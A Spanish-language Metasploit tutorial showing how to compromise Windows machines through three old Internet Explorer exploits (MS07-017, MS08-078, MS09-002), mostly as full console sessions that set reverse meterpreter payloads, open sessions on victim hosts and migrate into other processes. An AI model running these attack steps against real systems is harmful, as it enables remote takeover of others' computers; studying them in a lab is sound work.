CONCEPTOS BASICOS DE PENETRACION EN MAQUINAS BAJO PLATAFORMA WINDOWS XP/VISTA/7 USANDO METASPLOIT FRAMEWORK – Parte I
En esta ocasión se indicarán algunas vulnerabilidades que pueden ser empleadas con el fin de comprometer sistemas bajo plataformas Windows usando MetaSploit Faremwork, cabe anotar que casi todos los exploits que se detallan a continuación, funcionan correctamente en casi todas las implementaciones de Windows, pero dependen directamente de la versión de IE instalada en la maquina objetivo.
Vulnerabilidad ANI
Se trata de una vulnerabilidad tradicional de buffer overflow que afecta a maquinas bajo Windows XP, 2003, 2008 y Vista, aprovechando una dirección de memoria vulnerable a ser sobrescrita y manipulada al gusto del atacante (o expresado de un modo mas adecuado, al gusto del programador) que es común a navegadores web tales como IE 6.X, IE 7.X, Opera, Safari y Firefox, su uso desde Metasploit resulta muy sencillo, como la mayoría de exploits desde la consola de MSF.
msf exploit(handler) > use exploit/windows/browser/ms07_017_ani_loadimage_chunksize msf exploit(ms07_017_ani_loadimage_chunksize) > show options Module options (exploit/windows/browser/ms07_017_ani_loadimage_chunksize): Name Current Setting Required Description —- ————— ——– ———– SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 80 yes The daemon port to listen on SSL false no Negotiate SSL for incoming connections SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH / yes The URI to use. Exploit target: Id Name — —- 0 (Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista msf exploit(ms07_017_ani_loadimage_chunksize) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms07_017_ani_loadimage_chunksize) > set LHOST 192.168.1.34 LHOST => 192.168.1.34 msf exploit(ms07_017_ani_loadimage_chunksize) > set LPORT 4444 LPORT => 4444 msf exploit(ms07_017_ani_loadimage_chunksize) > set SRVPORT 8080 SRVPORT => 8080 msf exploit(ms07_017_ani_loadimage_chunksize) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.34:4444 [*] Using URL: http://0.0.0.0:8080/ [*] Local IP: http://192.168.1.34:8080/ [*] Server started. |
Una vez la víctima entra en la dirección donde se encuentra en ejecución el servicio MetaSploit, se envía el stager y se abre una sesión meterpreter.
msf exploit(ms07_017_ani_loadimage_chunksize) >
[*] Attempting to exploit ani_loadimage_chunksize [*] Sending HTML page to 192.168.1.36:49280… [*] Attempting to exploit ani_loadimage_chunksize [*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.1.36:49280… [*] Sending stage (749056 bytes) to 192.168.1.36 [*] Meterpreter session 1 opened (192.168.1.34:4444 -> 192.168.1.36:49281) at Thu May 12 22:44:24 +0200 2011 |
VULNERABILIDAD EN DATA BINDING
Vulnerabilidad sobre las funciones de Data Binding XML de Internet Explorer 6.0, 7.0 y 8.0, el modulo existente en Metasploit para explotar esta vulnerabilidad utiliza una técnica llamada “Inyección de DLL en memoria con .NET” que crea un objeto vtable en una ubicación conocida con todos los métodos de dicho vtable apuntando hacia el payload del atacante, dado que el segmento .text (segmento ejecutable en Assembly) de la DLL de .NET no es escribible, un stub de código predefinido es utilizado para copiar el payload en un nuevo segmento de memoria y continuar la ejecución desde allí.
msf > use exploit/windows/browser/ms08_078_xml_corruption
msf exploit(ms08_078_xml_corruption) > show options Module options (exploit/windows/browser/ms08_078_xml_corruption): Name Current Setting Required Description —- ————— ——– ———– SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description —- ————— ——– ———– EXITFUNC process yes Exit technique: seh, thread, none, process LHOST 192.168.1.33 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name — —- 0 Automatic msf exploit(ms08_078_xml_corruption) > set LPORT 4446 LPORT => 4446 msf exploit(ms08_078_xml_corruption) > set SRVPORT 8082 SRVPORT => 8082 msf exploit(ms08_078_xml_corruption) > set URIPATH / URIPATH => / msf exploit(ms08_078_xml_corruption) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.33:4446 [*] Using URL: http://0.0.0.0:8082/ [*] Local IP: http://192.168.1.33:8082/ [*] Server started. |
Cuando el navegador de la victima accede a la ruta anteriormente establecida, se envía la DLL y comienza la corrupción de memoria, si resulta exitosa dicha inyección, se obtiene una sesión meterpreter.
msf exploit(ms08_078_xml_corruption) >
[*] Sending DLL to 192.168.1.40:49229… [*] Sending Internet Explorer Data Binding Memory Corruption init HTML to 192.168.1.40:49229… [*] Sending Internet Explorer Data Binding Memory Corruption init HTML to 192.168.1.40:49229…[*] Sending exploit HTML to 192.168.1.40:49229 token=dll… [*] Sending stage (749056 bytes) to 192.168.1.40 [*] Meterpreter session 2 opened (192.168.1.33:4446 -> 192.168.1.40:49230) at Sat May 14 22:52:28 +0200 2011 |
Memory Corruption CfunctionPointer IE 7 (Windows XP/Vista)
Se trata de una vulnerabilidad relacionada con la función CfunctionPointer que consiste básicamente, en el aprovechamiento de un fallo de implementación de dicha función en donde se intenta acceder a memoria sin inicializar, de esta forma un atacante podría acceder remotamente, explotar esta vulnerabilidad y ejecutar código arbitrario en el sistema con los privilegios de la víctima.
msf > use exploit/windows/browser/ms09_002_memory_corruption
msf >exploit(ms09_002_memory_corruption) > show options Module options (exploit/windows/browser/ms09_002_memory_corruption): Name Current Setting Required Description —- ————— ——– ———– SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name — —- 0 Windows XP SP2-SP3 / Windows Vista SP0 / IE 7 msf exploit(ms09_002_memory_corruption) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms09_002_memory_corruption) > set LHOST 192.168.1.34 LHOST => 192.168.1.34 msf exploit(ms09_002_memory_corruption) > set LPORT 4445 LPORT => 4445 msf exploit(ms09_002_memory_corruption) > set SRVPORT 8082 SRVPORT => 8082 msf exploit(ms09_002_memory_corruption) > set URIPATH / URIPATH => / msf exploit(ms09_002_memory_corruption) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.34:4446 [*] Using URL: http://0.0.0.0:8082/ [*] Local IP: http://192.168.1.34:8082/ [*] Server started. |
Una vez un cliente ha entrado desde el navegador a la ruta donde se encuentra el servicio de metasploit ejecutándose, inmediatamente se obtiene una sesión meterpreter. Como característica interesante, el exploit intenta migrar el proceso a otro distinto con el fin de garantizar el acceso en el caso de que la víctima cierre el navegador.
msf exploit(ms09_002_memory_corruption) >
[*] Sending Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption to 192.168.1.36:49356… [*] Sending stage (749056 bytes) to 192.168.1.36 [*] Meterpreter session 2 opened (192.168.1.34:4446 -> 192.168.1.36:49357) at Fri May 13 00:17:32 +0200 2011 [*] Session ID 2 (192.168.1.34:4446 -> 192.168.1.36:49357) processing InitialAutoRunScript ‘migrate -f’ [*] Current server process: iexplore.exe (1172) [*] Spawning a notepad.exe host process… [*] Migrating into process ID 1896 [*] New server process: notepad.exe (1896) |